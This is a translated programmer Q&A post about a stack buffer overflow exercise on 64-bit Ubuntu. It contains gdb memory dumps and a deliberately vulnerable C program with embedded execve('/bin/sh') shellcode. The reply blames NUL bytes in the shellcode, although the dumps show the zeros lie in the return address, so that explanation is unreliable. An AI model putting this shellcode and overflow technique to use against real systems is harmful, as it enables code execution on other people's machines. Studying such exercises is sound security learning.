[英]exploitation on 64 bit Ubuntu
嗨,我在64位Ubuntu上進行漏洞利用,在檢查源代碼期間,我意識到放在large_string中的緩沖區地址(0x7fffffffddd0)包含零。
(gdb) x/gx large_string
0x6010c0 <large_string>: 0x00007fffffffddd0
(gdb) x/bx large_string
0x6010c0 <large_string>: 0xd0
(gdb) x/bx large_string + 1
0x6010c1 <large_string+1>: 0xdd
(gdb) x/bx large_string + 2
0x6010c2 <large_string+2>: 0xff
(gdb) x/bx large_string + 3
0x6010c3 <large_string+3>: 0xff
(gdb) x/bx large_string + 4
0x6010c4 <large_string+4>: 0xff
(gdb) x/bx large_string + 5
0x6010c5 <large_string+5>: 0x7f
(gdb) x/bx large_string + 6
0x6010c6 <large_string+6>: 0x00
(gdb) x/bx large_string + 7
0x6010c7 <large_string+7>: 0x00
strcpy函數工作正常,並復制了包含shellcode的large_string的前44個字節,但此后出現了問題。
我的問題是在調用strcpy時,編譯器是否會將這些零解釋為空字節?如果是,我應該怎么做才能解決此問題?
#include <stdio.h>
#include <string.h>
shellcode[] = "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8b\x56\x0c\xcd\x80\xb0\x01\x31\xdb"
"\xcd\x80\xe8\xdd\xff\xff\xff/bin/sh"
char large_string[200];
int main(int argc, char *argv[]){
char buffer[96];
int i;
unsigned long *long_ptr;
long_ptr = (unsigned long *) large_string;
for(i = 0; i<25; i++)
*(long_ptr + i) = (unsigned long) buffer;
for(i = 0; i<strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
當strcpy
函數遇到NUL字節時,它將停止復制。 由於shellcode
包含NUL字節,因此您不能使用該函數進行復制。 您應該改用memcpy
,它將指定數量的字節從一個緩沖區復制到另一個緩沖區:
memcpy(buffer,large_string,sizeof(large_string));
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.